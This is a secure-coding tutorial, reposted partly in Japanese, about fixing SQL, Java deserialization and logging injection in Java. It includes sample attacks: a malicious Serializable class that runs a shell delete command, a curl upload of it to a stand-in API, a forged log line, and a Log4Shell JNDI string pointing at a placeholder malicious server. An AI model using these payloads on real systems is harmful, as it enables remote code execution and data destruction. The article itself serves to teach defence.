現在コードに隠れている主なセキュリティ上の欠陥 - それらを修正する方法

WBOY
リリース: 2024-08-30 06:01:20
オリジナル
760 人が閲覧しました

2019 年、有名なゲームであるフォートナイトで有名な侵害が発生し、数百万人のプレイヤーがマルウェアの危険にさらされたと報告されています。このインシデントは、SQL データベースを適切に保護することの重要性を浮き彫りにしました。

しかし、これは単独の問題ではありません。

Tesla が 2018 年に経験したような、SQL インジェクションを伴う攻撃が複数発生しました。その場合、別の SQL インジェクション攻撃が Tesla の Kubernetes コンソールに影響を及ぼし、不正な暗号通貨マイニング活動による経済的損失が発生しました。

しかし、これは SQL インジェクションだけに関するものではありません。

大企業が過去に被害を受けたように、現在コードが被害を受ける可能性のある攻撃ベクトルは他にもあります。

2021 年に Log4Shell と呼ばれる Log4J ライブラリで発生したものとして、現在に至るまで世界中の何百万台ものサーバーに影響を及ぼしたロギング インジェクション攻撃が関与しました。または、Atlassian Jira での 2022 年に発生したものとしては、複数のバージョンの Jira に影響を及ぼし、完全な攻撃を許可しました。攻撃者にコントロールを与えます。

それは誰にでも、あなたにさえも起こる可能性があります。

この記事では、コード内で最も一般的な 3 つの攻撃、SQL インジェクション、デシリアライゼーション インジェクション、ロギング インジェクションとその解決方法について説明します。

SQLインジェクション

データベースに情報を保存するアプリケーションは、多くの場合、ユーザーが生成した値を使用して権限を確認したり、情報を保存したり、単にテーブル、ドキュメント、ポイント、ノードなどに保存されたデータを取得したりします。

アプリケーションがこれらの値を使用しているとき、不適切に使用すると、攻撃者がデータベースに追加のクエリを送信して許可されない値を取得したり、それらのテーブルを変更してアクセスを取得したりする可能性があります。

次のコードは、ログイン ページで指定されたユーザー名を考慮してデータベースからユーザーを取得します。すべて順調のようです。

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }
ログイン後にコピー

しかし、攻撃者がインジェクション手法を使用すると、このコードは文字列補間を使用して予期しない結果をもたらし、攻撃者がアプリケーションにログインできるようになります。

Top Security Flaws hiding in your code right now - and how to fix them

この問題を解決するには、このアプローチを文字列連結の使用からパラメーター挿入に変更します。実際、パフォーマンスとセキュリティの観点から、文字列の連結は一般に悪い考えです。

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";
ログイン後にコピー

パラメータ値を SQL 文字列に直接含めるのを、後で参照できるパラメータに変更すると、ハッキングされたクエリの問題が解決されます。

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
ログイン後にコピー

修正されたコードは、prepareStatement と各パラメーターの値設定を含めて次のようになります。

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }
ログイン後にコピー

SQL インジェクションの脆弱性の検出に役立つ SonarQube および SonarCloud のルールは、ここにあります

逆シリアル化インジェクション

逆シリアル化は、データをシリアル化された形式 (バイト ストリーム、文字列、ファイルなど) からプログラムが操作できるオブジェクトまたはデータ構造に変換して戻すプロセスです。

逆シリアル化の一般的な使用法には、JSON 構造の形式で API と Web サービス間で送信されるデータ、または protobuf メッセージの形式で RPC (リモート プロシージャ コール) を使用する最新のアプリケーションで送信されるデータが含まれます。

サニタイズまたはチェックの手順が実装されていない場合、メッセージ ペイロードをオブジェクトに変換すると、深刻な脆弱性が生じる可能性があります。

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }
ログイン後にコピー

ここでは、リクエスト入力ストリームでユーザーからの直接値である objectIS を使用し、それを新しいオブジェクトに変換していることがわかります。
値は常にアプリケーションが使用するクラスの 1 つであることが期待されます。確かに、クライアントはそれ以外のものを送信することはありませんよね?

しかし、悪意のあるクライアントがリクエストで別のクラスを送信している場合はどうなるでしょうか?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
ログイン後にコピー

この場合、デフォルトのコンストラクター中にファイルを削除するクラスがあり、これは前の readObject 呼び出しで発生します。

攻撃者は、このクラスをシリアル化して API に送信するだけで済みます:

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
ログイン後にコピー

幸いなことに、これを修正する簡単な方法があります。オブジェクトを作成する前に、逆シリアル化するクラスが許可された型のいずれかであるかどうかを確認する必要があります。

上記のコードでは、クラス名のチェックを含む「resolveClass」メソッドがオーバーライドされた新しい ObjectInputStream を作成しました。この新しいクラス SecureObjectInputStream を使用して、オブジェクト ストリームを取得します。ただし、ストリームをオブジェクト (ユーザー) に読み取る前に、許可リストのチェックを組み込みます。

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }
ログイン後にコピー

逆シリアル化インジェクションの脆弱性の検出に役立つ SonarCloud/SonarQube および SonarLint ルールは、ここにあります

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }
ログイン後にコピー

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
ログイン後にコピー

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 
ログイン後にコピー

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}
ログイン後にコピー

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }
ログイン後にコピー

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 
ログイン後にコピー

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true
ログイン後にコピー

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}
ログイン後にコピー

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
ログイン後にコピー

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

以上が現在コードに隠れている主なセキュリティ上の欠陥 - それらを修正する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:dev.to
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!